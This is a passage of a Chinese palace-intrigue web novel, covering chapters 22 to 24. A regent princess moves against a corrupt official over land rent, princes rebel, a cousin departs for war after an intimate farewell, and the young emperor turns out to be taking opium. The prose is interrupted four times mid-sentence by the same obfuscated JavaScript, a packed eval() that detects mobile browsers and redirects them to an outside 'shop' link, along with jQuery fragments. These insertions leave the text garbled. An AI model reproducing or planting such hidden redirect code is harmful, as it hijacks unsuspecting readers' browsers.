终于又多了一个亲人与我感同身受,一年来的悲痛苦楚化作滚滚泪水倾泻而下。在舅舅的肩头痛哭,心中的重担终于得以片刻放下,空出来一块,轻飘飘地浮在身体里。我抹去满脸的泪水,平静半晌,正正神色说道:“舅舅,母亲薨逝,并没有您想象得那么简单。” 他蹙眉:“细细说来。” “母亲……母亲是被蔡姬和田家主母下毒的。”我努力克制着情绪。 刘些却是拍案而起,目眦尽裂,恨不能将田家所有人当面撕碎:“你说什么?下毒!?区区两个下贱卑劣的奴婢竟敢毒杀当朝太后?!” “我询问过当时在场的所有人,稳婆、侍女与妃嫔,事实确凿……” “那两个贱人呢?” “死了。” “死了?这就死了?也太便宜她们了!就该凌迟三千刀,看着她们自己的四肢被剁成肉酱丢出去喂狗,在世间受尽折磨,不得好死!” “不管是蔡姬还是田家主母,她们都只是借刀杀人的那把刀而已,背后的人不除,母亲永远不能瞑目。” 刘些极力克制着怒火:“你是要整个田家死?” “没错。”我盯着他,“不仅要他们死,还要夷三族,但不是现在。朝廷的钱袋子缝在田家的衣服上,但拿用的手却是裴家的。我们无法一下子将他们连根拔起,但至少杀一个是一个。” “你想动谁?” “田诠。”我将整理出来的田租疑点一一阐述,舅舅眉头深锁,嘴巴抿成了一条线。 “田诠这个治粟内史的位置是怎么当上去的,朝堂上心知肚明,想让他下来的人可太多了,只不过都碍于没有合适的理由与时机。但如今……”我点了点竹简上圈出来的几个诸侯国,“楚、鲁、广陵、广平、真定,这几个郡国粗粗一算,他们当年租借给贫民的田地田租有很大问题。 我让彤管使调取了绥和元年至七年该五郡国本国田租赋税记录,为十税一,贫民田租为十五税一计算。当年父皇登基时下达政令,叫各诸侯王减少对贫民的税收,这田租看着合理,但舅舅当真相信他们会本民与贫民区别对待吗?这十五税一的税收,真的是减到贫民头上了吗?还是说,他们从中作梗,中饱私囊,收的多,报的少?若是有人拿了,那又会是谁呢?” 刘些神色凝重:“你的意思是……诸侯王与田家勾结,瓜分贪污的田租?” “没错,但没有证据,这些也只能是我的猜测。” 刘些垂眸思忖:“要么就是田家的私账账 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12987097|135567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 簿,要么就是这些郡国的田租记录,没有一个好拿。” “又或者……我们不问他们拿,而是自己名正言顺地去查。” “何解?” “秋收将近,朝廷要派出司农官员前去各郡国收缴田租,查田账也是其一要事。就让郡国把绥和年间所有的田账都拿出来,不拿全也没关系,司农们去田间地头走一走,有的是真话。到时候多叫几个人听着,抄录几份散布出去,等传到我们耳朵里,那就不是我们去查出来的了,而是民间怨声载道,这才让我们听见了。” 听罢,刘些眉眼俱笑,不住点头:“想不到你竟有这般计谋,是舅舅小看了,还拿你当孩子。有了这个说法,不管是查验还是换人,都是名正言顺。不过你要知道,这件事必定不可能是田诠一人为之,你要动,那整个田家都会被拖下水,但裴开项却绝不会允许如此。” 我笑道:“田家又不是什么相亲相爱兄友弟恭的好人家,爬灰、辱妻、杀母,单拿出来一件都是乱丧人伦。他们本家不是,旁支更不是。田家旁支最爱看他们本家落难,隔岸观火、落井下石最擅长,帮忙?绝不会!” “挑拨、离间,许以好处,再逐个击破。” “没错。”我往后靠在凭几上,“田家还不能倒,没了田家,裴开项万一又放上来什么张某李某,我们斗也斗不完。就让他们先放在这儿,先拿掉最重要、最该死的一个就行。” 刘些又从头仔仔细细看了一遍,点了点“楚、鲁、广陵”三地:“这三个地方,还要派人去吗?” “要。敌不动我不动,越是非常时期越要平常心事之。我倒要看看他们会如何应对。” “此三地秋收司农极为重要,尤其是楚国和鲁国,必须安排一个忠心又可靠之人。” “舅舅有建议?” “刘勉。”刘些郑重地看着我的眼睛。 “表哥?”我有些迟疑,“那很危险。怕就怕五王秋收动乱,司农身为朝廷命官,会被歃血祭旗。” “所以更需要一个亲近可靠、不畏生死的人——只有刘勉。”刘些神色坚定,不容辩驳,仿佛说出的名字不是他儿子一般,“他该为家国做点事了。” 22. 第 22 章 诸侯国谎报虚假田租之事传入长安,全城哗然。广明殿燃了一夜灯烛,早起洗漱上朝时,便已听见宫中“卿主彻夜难眠”的传言。 群臣交头接耳、窃窃私语,我走上台阶,立即噤声,叩拜万安。 田诠不敢看我,一个劲儿地瞧着右侧的裴开项,裴开项视若无睹,平静地看着我。 我笑了一下,抬手让众臣平身:“想必众卿家也听闻了长安的传言,各位有何看法呢?” “殿下,田租之事非同小可。田租乃是国之根本,窃田租者即是窃国者,若是各诸侯王谎报田租,私收粟米,那与私囤粮草、谋逆造反有何异?” “正是!殿下,各路诸侯王积蓄已久,臣闻郡国土地兼并严重,百姓流离失所,无田者沦为贫农、佃农、雇农,一年到头辛苦劳作,成果尽归地主,无米可食,无衣可穿。租田本就是先帝仁厚赐予贫农之田,如今却又成为各诸侯王以权谋私之道,实不可忍也!” “以微臣之见,此事并非空穴来风,各郡国要查,朝廷内也要查!” “方通!你什么意思!”田诠忍耐已久,却被方通一句话激得暴跳如雷,“你是说我也在其中掺和一脚!?” “难倒不是吗!”方通怒目圆瞪,“全国各郡县田租皆由治粟内史所收所计,如今乡野传闻阴阳田租之事至少已有五年之久。难倒你们治粟内史毫无觉察吗?敢问田内史,你就真的毫无知情吗?” “你……你……殿下,臣绝无任何私通谋逆之心,殿下明鉴!臣不敢欺瞒殿下,各郡国报上来的数目是多少,臣统计的就是多少。诸侯王若是串通司农有意隐瞒,微臣……微臣远在长安,也难以核实啊。司农各官无法准确地核查田租,确失职渎职,等此次秋收他们回朝,微臣必定严肃问罪……”有时,我真的不得不夸奖一下田诠的厚颜无耻,能把黑的说成白的,真的说成假的,将所有的过错都推给了诸侯国,什么侵占良田、私吞田租、欺君罔上,怎么严重怎么说,末了还加一句“殿下圣明,严惩诸侯”。若非我已知晓真相,怕是真要被他蒙混过去。 我笑着反问:“如此说来,田内史你没有任何过错,是吗?” 田诠噤声,东张西望,不敢说话。 “圣人言,居其所,则众心拱之。这未央宫便是本宫的‘所’,但本宫只能一辈子呆在这里。大齐多么宽广啊,一百八十九个郡,上千个县,四千万百姓,本宫能一一走过见过吗?那为何本宫还能治理大齐?那是因为有你们,你们是本宫的眼、本宫的脚、本宫的手。你们要出去走、出去看、出去问,若你们也只守着自己面前的一亩三分地,只巴望着长安城里那一丁点儿的利益与地位,本宫还指望你们做什么?”我隔着珠帘紧紧盯着田诠,“田内史,你还觉得你无错吗?” “殿下。”裴开项突然开口,大殿寂静,“自我朝开国以来,诸侯王之势力只增不减,对于土地山川湖海的争夺亦是愈发强烈。先前虽有明帝削爵之举,但所削爵之诸侯多为开国功臣异性诸侯。明帝子嗣众多,封王者众多,各诸侯皆为公子王孙,多年来地位反升不降、财富反多不少,长此以往,于朝廷不利、于陛下不利。诸侯不臣之心久矣,殿下既为陛下主持朝纲,更要懂得君臣之义、君臣之信,同仇敌忾、共御内敌,切不可被小人挑拨离间,坏了家国大事。” “呵。”方通冷笑,“到底是谁与谁沆瀣一气,又是谁在挑拨离间,所有同僚一清二楚,殿下也心若明镜。倒是裴相要好好管教手底下的人,伯乐人人都相当,但若是提拔之人并非千里马,还是害群之马,那这伯乐的称号可就臭名远扬了。” 又开始吵了。 我嗤笑一声,往龙椅上一靠,斜眼向田诠看去:“行了,孰是孰非,等秋收田租收缴完毕再说。眼下最重要的,还是军费开支的问题。此前田内史对本宫说,因赋税款项减少,但支出不变,导致近年来国库收支紧张,若要讨贼,势必会寅吃卯粮,国将难以长久……” 田诠惊恐地抬起眼睛,身形摇晃好似下一刻就要跪下去。 “因此田内史提请本宫与陛下开私库以充军饷。本宫觉着民生艰苦,军戎大事不可懈怠,自古以来开私库亦是明君所为,觉得此法不无道理。但是如今看来,是国有蠹虫食我国本,才导致所谓的‘寅、吃、卯、粮’。此事本宫必要彻查,而且要查到底,查个遍!到底是谁欺君罔上、贪赃枉法,是我们朝廷自己的人还是诸侯王,查出来,一个都跑不了!” 今日的朝堂战战兢兢,下朝时鸦雀无声。田诠吓破了胆,一连送来好几份辩白书,早朝也都变成了他的独白戏码,群臣只需听他陈词,其余之事一概不论。 我听得有些烦了,让他滚回家休息。田议破天荒地来找我说情,他坐在离我远远的位置,说着讨好的话。 我百无聊赖地听着他列举自己兄长的功绩,笑道:“你当真觉得你兄长能够胜任?” 田议神色一顿,悄悄抬眼看我。 “即便贪污田租没有他一杯羹,这个治粟内史的位置他也坐不住了。裴相应当与你们通过气吧?” 我起身走到田议身前:“他是不是想选你?” 田议不看我,点头:“是。” “怕我不同意,所以找你先来试探我的意思,是不是?”我哂笑,“看你这窝囊样,原来你还记得自己干过的蠢事。真是好笑……回去告诉裴相,一切只要他说了算就好,我只管讨贼军饷。” 田议如蒙大赦,连忙说道:“请殿下放心,此事是兄长疏于职守,我们定会全力弥补!五千金,五千……哦不不不,七千金,我们拿出七千金充军饷,助殿下讨伐五王!” 可算是从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12987098|135567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们的嘴巴里扣了点东西。我不置可否,笑着让他滚,又从自己和阿旻的私库中批了一万金,叫萱萱拿去个给裴开项。 萱萱见着数目有些迟疑。我宽慰她:“裴开项曾经在军营也是从小兵小卒开始当起的,知道他们的难处,不会贪污士兵们的钱,拿去给他吧。” 表兄自楚国来信,说自己一切都好,只是田诠在朝堂上发的疯传到了姜琰的耳朵里,姜琰很是生气恼怒,歇朝数日不见人,还派人加紧了对他的看管。 其余几地都安分守己,没什么大动作。可就是这样的风平浪静才更加让人不安——他们在似乎酝酿着什么大阴谋,而我全然不知。 裴仲琊离开长安已有月余,巨鹿离长安甚至比楚国还近,可他却没有寄来一封信。也罢也罢,无消息便是好消息,让我知道他只是在这片大地上的某个地方待着,但至少还活着。 各地秋收收缴田租的司农陆续回朝,刘勉却突然杳无音讯,鲁楚之地的文书也不曾进京。裴开项与刘些的沉默使朝堂更加压抑。 田诠也不再发疯。 冥冥之中,似乎有一把刀子被丝线悬在我的头顶。我看着它摇摇晃晃,刀刃闪着摄人的寒光,将断未断。 我想,或许到时候了。 一纸“清君侧”的讨逆贼檄文以姜融的名义昭告天下——他歃血为盟,血书陈列裴田二人勾结长公主姜毓卿囚禁皇帝姜旻,凭空捏造私占田租之罪,污蔑栽赃各路诸侯。他身为先帝皇长子,为勤王护驾、重振超纲,不得不联合叔兄讨伐窃国逆贼,拯救大齐于危难之中。特此号召天下诸侯臣民跟随拥护,广开城门,一同伐贼。 礼官在朝堂上念完讨贼檄文,群臣议论纷纷,田诠双膝砸地,高喊冤枉。可我已无暇顾及他,裴仲琊应当已在广陵,可仍旧没有音讯;姜融姜琰已反,刘勉与田租文书却毫无下落;裴林琅拔营在即,他与裴开项亲点二十四部将,宋君若赫然在列。 秋风肃杀,吹彻大齐,远方的厮杀与血腥正朝着未央宫气势汹汹地碾来,二十五万兵马溅起飞沙走石,我仿佛听见隆隆震地之声,沙尘漫天裹挟着劲风从鲁南席卷到到我面前。 未央宫宫阙层叠三千人,长安广阔安居百姓五十万,还有泱泱大齐子民,都抬着脖子,仰望着他们的长公主——我,来带给他们一场酣畅淋漓的、举世瞩目的胜仗。 胜则生,败则亡。我要向他们证明,我抢来了这个位置,就有能力坐稳这个位置,任凭他们是我的兄弟,我父亲的儿子,国朝的诸侯也永远拿不走。 是我的,就永远都是我的。 衣衫柔软,高楼不胜寒,发丝迷了我的双眼。长安城外连绵相接的山脉直蔓延到天边,狂风缭乱,波诡云谲——那是长安的天然屏障、难以攻克的天阙,也是他们此生都到不了的巅峰,得不到的妄念。 23. 第 23 章 阿勒奴率领十万铁骑侵犯大齐边境! 消息在长安城瘟疫似的传开,全城人心惶惶,竟生出了改朝换代的谬论。 抓了人杀鸡儆猴,戒严长安统一发布邸报,民心这才安定不少。 “姜琰姜融勾结阿勒奴南下,两面夹击长安,勾结叛国,不臣之心昭然若揭。姐姐,我们将这件事昭告天下,看他还有没有这个脸面和底气说什么‘清君侧’!”宋君若义愤填膺。 “这件事不管真假,必定要放到他们头上。只是此前点将二十四人,如今还要北上对抗阿勒奴,怕是兵力不足。可能……要让裴开项带兵了。”我叹气,“本想削弱他在军队的权势,可如今形势严峻,还是要以国事为先。” “姐姐,我……我想跟随裴开项一同去阿勒奴。” 又开始不怕死了。我被气笑:“说来听听,又是怎么一时兴起的?” “我不是一时兴起!”宋君若狡辩,“裴开项历经三朝,每次都能得到重用,就是因为整个齐国只有他能真正地降服阿勒奴。如今阿勒奴吞并了禺戎,势力日渐壮大,可裴开项已年近五旬,他还能活多久?我们总不能学秦人立个石翁仲去对抗阿勒奴吧? “姐姐,我知道我现在说这话有些大言不惭,但是……我是真的想帮你,我想成为那个能够代替裴开项的人。” 我想说什么,但是宋君若的眼神真挚热烈,说的话也是坚定认真,我竟无法说出拒绝的话来。 “姐姐,我真的可以的,你就答应吧。好吗?我求你了。”他悄悄靠近,我拿起竹简轻拍了一下他的脑袋。 “你如今有了自己的想法和主意,就算我不让你去,你就不会借用你世子的身份威逼利诱别人带你去?”我叹气,“那样太危险了,还是让裴开项带着你吧。” 宋君若得偿所愿,开心地一下子拥住我,练练赞叹:“姜毓卿是世界上最好的姐姐!” “马屁精。”我笑骂,却又一瞬间黯然神伤。我只不过是宋君若的表姐,二人都能谈笑风生,可我与姜旻是亲姐弟啊,又如何闹到不愿相见这地步。 宋君若看着我,烛火在他的眼瞳中晃动,蒙上了一层温暖的颜色。他的声音忽然低沉缓和下来,靠近我,问道:“姐姐,我今晚……能睡在正殿吗?” 我推开他:“要么回军营,要么自己的宫殿,别赖在我这里。我还要看公文的。” “我不吵你,你看你的,我睡我的。我就像小时候一样,在你床榻边上打地铺,你睡觉的时候绕过去就成。” “不要。” “我……”宋君若有些委屈,“我都快要拔营出征了,我就想……我就想和你多呆一会儿都不行吗?” “不许装可怜。一个两个的都到我这儿来卖惨……”眼见他的眼角嘴角都垮了下来,太阳被乌云遮盖,雨都要落下来了。一想到北地寒冷,阿勒奴铁骑凶残,我故意冷漠的心一下子又软和下来,叹气道,“随便你吧。被褥你让萱萱拿你以前的就行,不知道还够不够长。” 宋君若喜笑颜开,“耶”了一声笑着去找萱萱。 萱萱将地铺铺好,往炉子里加了炭火挪近些。我放下内殿的帘帐,让所有侍从都下去。暮秋时节,广明殿的帐子都换成了草木染织的绒布,颜色轻浅香味淡雅,炭火暖意融融,草木馨香渐渐在帐中膨胀开来,像柔软的棉花塞满了整个帐内殿。 我拨了拨烛台,黄色的光更加明亮了些。 姜融进攻的第一仗就被巨鹿挡住了步伐。他强攻无果,反倒被落石火油砸死了三千多名将士。他退居深山,以待他法。巨鹿连发三道求援书,快马加鞭送至长安。裴林琅的部分军队已经连夜启程,十五万大军浩浩荡荡向东而行,翻山越岭,只为给我带来凯旋的欢歌。而北境,大齐永恒的敌人正在向我发起挑衅,我的百姓生活在水深火热之中,等待着我的救援。 公文上的寥寥几字,是远在千里外所有百姓、将帅的腥风血雨。我批阅完最后一份,揉了揉眼睛,想喝水却发现杯中的茶水早已喝完,而水壶也不知去向。 宋君若端着水壶从帘帐外走来,中衣微敞,紧实宽厚的胸膛若隐若现,长发毛毛糙糙地垂在肩上,在我面前坐下,替我斟茶。 “你先去睡觉吧,姐姐一会儿就好了。裴开项不日启程前往北境,那儿驻守边关的将军都是个顶个的御敌能手,好好看好好学……平平安安回来。” 宋君若笑着点头,没说话。 我叹气:“有时候真不知道你为什么非得去。父亲将你留在宫中,就是希望你能平平安安长大,等加冠后便送你回去继承爵位。如今我虽势单力薄,但保你袭爵是绰绰有余的。” “我不想袭爵,不要他给我的荣耀,我要自己的挣的。”宋君若认真地看着我,“我也不想回去,我只是一直待在宫里,和你待在一起。” 我搁下毛笔,收拾好公文,起身洗漱:“那哪儿能啊,你不成亲了?” “我……我不……我就一定要成亲吗?”宋君若着急地追上来,站在我旁边给我递绢帕。 我接过绢帕擦了擦脸,又转去梳妆台前抹香膏。宋君若像个跟屁虫一样又走了过来,继续问:“我就一定要成亲吗?我不能不成亲吗?” 凑的太近了。我伸出食指将他的脑袋推远,他想要抓住我的手却被我溜走。起身转进床榻,他还要跟上来,我指着他佯装恶狠狠的样子说道:“出去!我要睡觉了。” 宋君若瘪瘪嘴,乖顺地吹灭了烛台,在床帐外的地铺上躺下。秋风在窗外呼啸,窗棱打颤,像短兵相接,战况激烈。我们都没有讲话。庭院里的高树穿过层层帷幔在床帐上映出薄薄一层纸影,我望着它,松懈了连日来的紧张与压力,眼皮打架,昏昏欲睡。 意识在混沌中的流转,我的手被轻轻握住,宽大的手掌温热粗糙,细细地摩挲着我的手背。我转了个身,想将手抽回,却被一把抓住。 无法继续入睡,我睁开眼,只见宋君若一颗杂毛乱生的脑袋小心翼翼地搁在床沿上,湿漉漉的眼睛睁得圆圆的看着我。我揉了揉他毛茸茸的脑袋,困意缱绻地问:“怎么了?” “姐姐。”他轻轻地叫了声,眼中微光或明或暗,“我马上就要走了。” 他的声音低沉哀伤,连我也不自觉伤感起来。从临淮到楚国,从楚国到长安,这么远的路、这么长的时间,我们都陪伴着彼此走过来。而今他要离开我独自涉险,去那穷山恶水之处,我又怎能不担心? “你们一个个都去了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13022559|135567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那么远的地方,这么大的未央宫,独独留下我一个人。” 宋君若紧紧握住我的手:“我会回来的,我一定会回来的!”他怕我不信,直接起身坐在床榻上,十分郑重,“你在这里,我哪儿都不去,我肯定回来!” 他的眉目锐利鲜朗,瞳仁干净澄澈,任谁都能将他眼底的情感看得一清二楚。他的双手炽热有力,话语掷地有声。他看着我。 我欲抽手,宋君若非但不让,还朝我挪进一寸。 我低着头,不看他。 “姐姐,有件事我一直没有告诉你,怕吓着你。”他自嘲一笑,“真是,什么东西能吓到你啊……在我心里,你是比我父亲更值得我去付出的人,是我在这个世界上最亲近亲密的人。” 他的声音在颤抖,我仿佛听见了他的心脏在震颤,连手都抖了起来。 “我后母一心为弟弟谋取世子之位,因此不惜以自己性命为代价来毒杀我。是你,是你不顾一切地救了我,相信我。就连我的生身父亲都不相信我,只有你!” 父崩母薨,天子式微,我亦留不住宋君若。群臣进谏,说侯爵世子留在宫中不成体统,应当尽早还乡。宋君若不同意,我也不同意,我将他留在我的广明殿中,任谁来都不见。 可他的后母穆辞来了。穆辞本是临淮一处县令夫人,因术士算得天命,说她有富贵相,穆辞的母亲便让她与县令和离,转而将女儿引荐给了宋炎甫。穆辞貌美又善解人意,甚得宋炎甫的心,三年诞下两子,一跃成为长阳侯夫人。 人心总是贪婪有余,穆辞占着临淮的一亩三分称大王,却也时刻惦记着在遥远长安的宋君若——只要宋君若在一日,她的孩子就不会是真正的世子,她也永远不是真正的长阳侯夫人。 她想杀了宋君若。 穆辞假借接人的名义来到未央宫,她慈眉善目,笑着同我寒暄,说要接宋君若回家。 宋君若真正的亲人来了,我没有理由再将他留下——他被接走了,住在长安的馆舍里,只要天一亮便启程返回临淮。 穆辞的关心与热切让我越想越不对劲,深夜派彤管使前去馆舍查看,却见宋君若浑身赤红地躺在地上,痛苦地蠕动着身子,口涎四溢,无声嘶吼。他拍打着门,可长阳侯府的人却恍若未闻,仍旧平静地做着自己的事。 馆舍外备好了车马,掀开帘子,里面是一副早就已经备好的棺材——长安到临淮,山高水远,孩子在路上死了,有的是理由能够分辩。 彤管使将宋君若偷回宫中,再返回时,马车中的棺材已然消失不见。穆辞神色淡然,说孩子过了一晚上就不见了,未央宫宵禁落锁,若非陛下允准必定进不去,全程搜寻也找不见踪迹,也不知道跑到哪里去了。 彼时的我正守在宋君若榻前喂他喝药,太医说若晚一步,他就要死了。我就要没有这个亲人了。 日夜不休,我守了他整整三日,终于在第四日清晨,宋君若睁开了眼睛。穆辞仍旧装模作样地等在馆舍里,说找不到孩子的踪迹誓不还。 实在是太好笑了。 我笑着写下懿旨,叫彤管使砸到她脸上,告诉她:世子不回去了,且等五年后加冠礼成,还需请长阳侯与临淮众臣浩浩仪仗,隆重迎回。 24. 第 24 章 好像在他心里,我总是比“姐姐”这个身份更多一层含义,就如同他现在望向我的眼神,也比敬仰多了许多别的意思。 我倾身向前,抚上他的脸颊。宋君若的手掌贴住我的手背,脸颊轻轻地蹭着我的手心。他的鼻息平缓温热,打在虎口处,痒痒的。他的嘴角轻微上扬,眼眸斜着瞥向我,是不同于以往的胆怯与尊敬,而是若有若无的试探与凝视。 嘴唇贴住了我的手。 “阿若。”我喊着他的名字,欲抽手离开。 宋君若却罕见强硬地箍住我的手腕,不让我逃走。他的嘴唇仍旧留恋着,在我的掌心印下一个又一个轻浅而湿濡的吻。喘息声克制隐忍,像深夜睡梦中人的呓语,做着一场经久不息的美梦。 手腕好像有小狗在舔,宋君若攥着我的手,迟迟不敢再近一步。 “姐姐……”他的叹息是撒娇又是委屈。 “姐姐给你编个辫子吧,好吗?”我捻出一绺他的头发在指尖缠绕,“给你编个长生辫,保佑你平平安安、健健康康的。” 宋君若好似得到了某种恩宠,笑着爬上床:“那我还要青丝结,你和我的青丝结。” “这个不行。” “为什么不行!有什么不行的!我就要!”说罢,还未等我应答,他下床拿来剪子一刀就将自己的颈后的长发剪了下来。 他递给我:“给我编一个青丝结吧姐姐。我要把它戴在手上,带上战场,要让它时时刻刻提醒我,我是为你而战的。” 出征在即,我对他心软非常:“那你去把我妆台上的丝绦拿来。” 宋君若立即展颜,屁颠颠地拿来丝绦塞我手里:“我还要你的头发。” 我将手上的东西都给他,拿过剪子挑出一撮头发。青丝结,是大齐妇人送给征夫的思念之物,结发为夫妻,恩爱两不疑,此去经年,山高水远,你见着着青丝结,就要想起千里之外还有人牵挂着你,等你回家。 宋君若伸手抚上我的上发,坐近了几分。他低垂着掩眸,轻声问道:“姐姐,我替你剪吧。” 咔嚓。一截青丝断落。 宋君若将我们两人的长发混在一起,他拿着一头将另一头递给我。我缠着丝绦,左一下右一下地将头发编织成一条手串。宋君若从我的簪子上取下一颗玉坠子挂在上面,戴上后颇为骄傲地在我面前甩了甩。他笑起来,脸上是得逞的快意,带着些许羞赧:“谢谢姐姐。” “满意了?” 他不住地点头。 “我都陪你闹到子时了,明日还要上朝,快下去睡觉。” “等等。”宋君若抓住我的手臂,手掌滚烫的温度透过薄纱传递给我。 我惊愕地瞪了他一眼。 可他今天晚上似乎并不打算善罢甘休,那双时时刻刻能够看见我的眼睛,在夜色与寂静中闪着不可捉摸的意味。 我们都没有说话。 我悄悄挪着位置却被他察觉。手掌攀上我的臂膀,将我拉向他——他的力气好大。 四目相对,宋君若先挪开了眼。 “姐姐,我……我知道你一直将我当做小孩子。但是……但是我能不能求你一件事,”他鼓起勇气再次看向我,“如果我能活着回来,你就不能再把我当小孩子了。你必须得承认,我是个能够独当一面的男子汉。” “你一直都是……” “这不一样!”他忽然变得认真,“这和你哄我,不一样。” 我又被拉近一寸,他起伏的胸膛里呼出的炽热气息近在咫尺,我没来由的心虚。 “裴仲琊能为你做的,我也能为你做。他能为你远走千里游说诸侯,那我就能为你奔赴北境歃血杀敌。裴仲琊会让你伤心,但我永远不会。我会一直陪着你,用我自己的能力站在你身边。你答应我,要相信我。” 心脏酸酸胀胀,少年真挚热血的誓言比世间任何东西都更加令人心动。 就当作是真的吧,姜毓卿。不管是不是真的能实现,不管未来会如何,至少在这一刻,他的心是真诚的。 我碰上他的脸,在宋君若的额上印下轻轻一吻,笑道:“姐姐说过很多次了,我一直都相信你。” - 大齐的军队——异邦眼中的虎狼之师,大齐子民心中的神兵天降。它能让草原上的游牧蛮夷闻风丧胆,也能让所有想要逐鹿中原的野心者垂涎欲滴。 我任命裴开项为征讨阿勒奴大将军,五旬老将临危受命,接过圣旨的那一刻仿佛重新焕发出年轻热血的生机。他的承诺掷地有声,反驳着“廉颇老矣,尚能饭否”的质问。 群臣两立,我与姜旻站在宣政殿的高台上,看着底下浩浩荡荡的铁骑高呼万岁,军旗在秋风中咧咧作响,豪迈硕大的“裴”字在太阳下格外耀眼。 “姐姐真是好心胸。好不容易抢了我的位置,不仅愿意跟裴开项分一杯羹,如今竟然还愿意让他掌握兵权。要知道,若是此次裴将军大胜,那他的威望,不管是军营、朝堂都无人能及了。”姜旻在这种时候还有心情说风凉话,“就算是把他宋君若安插进军队,他这么年轻,你觉得他需要多少年才能爬到裴开项的位置?又需要多少年才能真正根除裴开项的势力呢?” 我笑了:“陛下人在后宫,心在前朝,时时刻刻想着国事,真是百姓的好君王。” 他“切”地哂笑了一下,不再说话。 “请陛下为大将军赐旨酒。”饯军礼已至尾声,礼官高唱最后一个环节。 姜旻正要从龙椅上起身,我望了他一眼,他紧紧地抓住扶手,双膝一松又不甘地坐了回去:“朕重病……未愈,还请姐姐代为效劳。” 我赶紧在脸上堆起关怀的笑容:“龙体为先,陛下所言,本宫无有不从。” 接过礼官手中的酒杯,我走到裴开项面前,虚虚一敬:“大将军必定凯旋,本宫与陛下在此静候佳音。” 裴开项拿过酒杯,朝着我与姜旻一饮而尽。 他走下台阶,举着长剑振臂高呼,将士们应声大喊,声如雷震。宋君若在军队首部骑着马,仰头看向我。他好像又长高长壮了,沉重的铠甲穿在他身上不似千斤巨石,反倒助长了他强大骁勇的气势。一双眼睛明亮如火,朝我微微一笑。 心脏忽然被小锤子轻轻敲了一下。许是因为他即将离开的愁绪,又许是因为自小对他百般迁就的习惯,没有拒绝的昨晚的吻好似还残留在我的嘴上,得逞的笑容与今天的样子如出一辙。 真是个无法无天的人。 裴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049955|135567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开项仍旧穿着他曾经的金甲。我见过很多这件金甲,它带着裴开项走向权力巅峰极致的辉煌,可还会再为他带去荣光?抑或是,英雄迟暮的凋敝。 大齐的军队自未央宫宫门而出,我站在高台上,望着他们走向远处连绵的山脊。 “裴开项走了。姐姐高兴吗?”姜旻问我,阴恻恻的。 我嗤笑:“陛下说的这是什么话?裴相离京是因为阿勒奴犯境,扰我百姓安宁,这是什么好事,值得我高兴?” “姜毓卿你真是演戏的一把好手,妄我曾经……”他哽咽,没再说下去。 我瞥着他,他消瘦了很多,明明宫中每日里好吃好喝的供着,可他就是只长个不长肉,宽大的龙袍穿在身上还空荡荡的。面颊瘦削苍白,桃花眼上长长的睫毛在鼻梁上落下一层阴影。眼中微光闪闪,像秋天河边的萤火,不冷不热地看着我。 不对,非常不对。 我一把抓住他,死死地盯着他颓废又迷茫的眼睛:“你吃了什么?” 姜旻挤出一个温柔又鬼魅的笑容:“没吃什么,好东西罢了。” 这个味道…… “你们都下去!”我将侍从们呵退,质问姜旻,“阿芙蓉?杀裴开项不成,你就自己吃了?” 姜旻冷笑一声:“如今看起来倒是很关心我。” 我揪住他的衣领:“你生气,骂我咒我我都无所谓,我们一母同胞,我联合外人算计你,是我对不起母亲。但你作践你自己,你又能从我这儿捞到什么好处?难不成指望我良心发现,让我觉得我自己做错了,找你悔改,把玉玺拱手还给你?姜旻,你真的太蠢了。你比我想象的还要愚蠢上百倍上千倍!” “就你聪明!”他破口大骂,“整个大齐都没你聪明!什么姜琰姜融姜修都没有你聪明。你能耐你厉害,我倒是要看看,你投靠裴开项,引狼入室,到底能不能得到自己想要的!” 与姜旻不欢而散,我让萱萱把麟趾殿所有的阿芙蓉都拿去沉湖,姜旻与彤管使争吵起来,推搡间肖溪前来阻拦,被人带着摔下了台阶。 “见肖溪摔下,陛下没有再做纠缠,而是下阶去扶肖溪。阿芙蓉就被我们拿来了,已经沉湖。” “你说……他没管阿芙蓉,而是去扶了肖溪?” 萱萱点头:“是。” 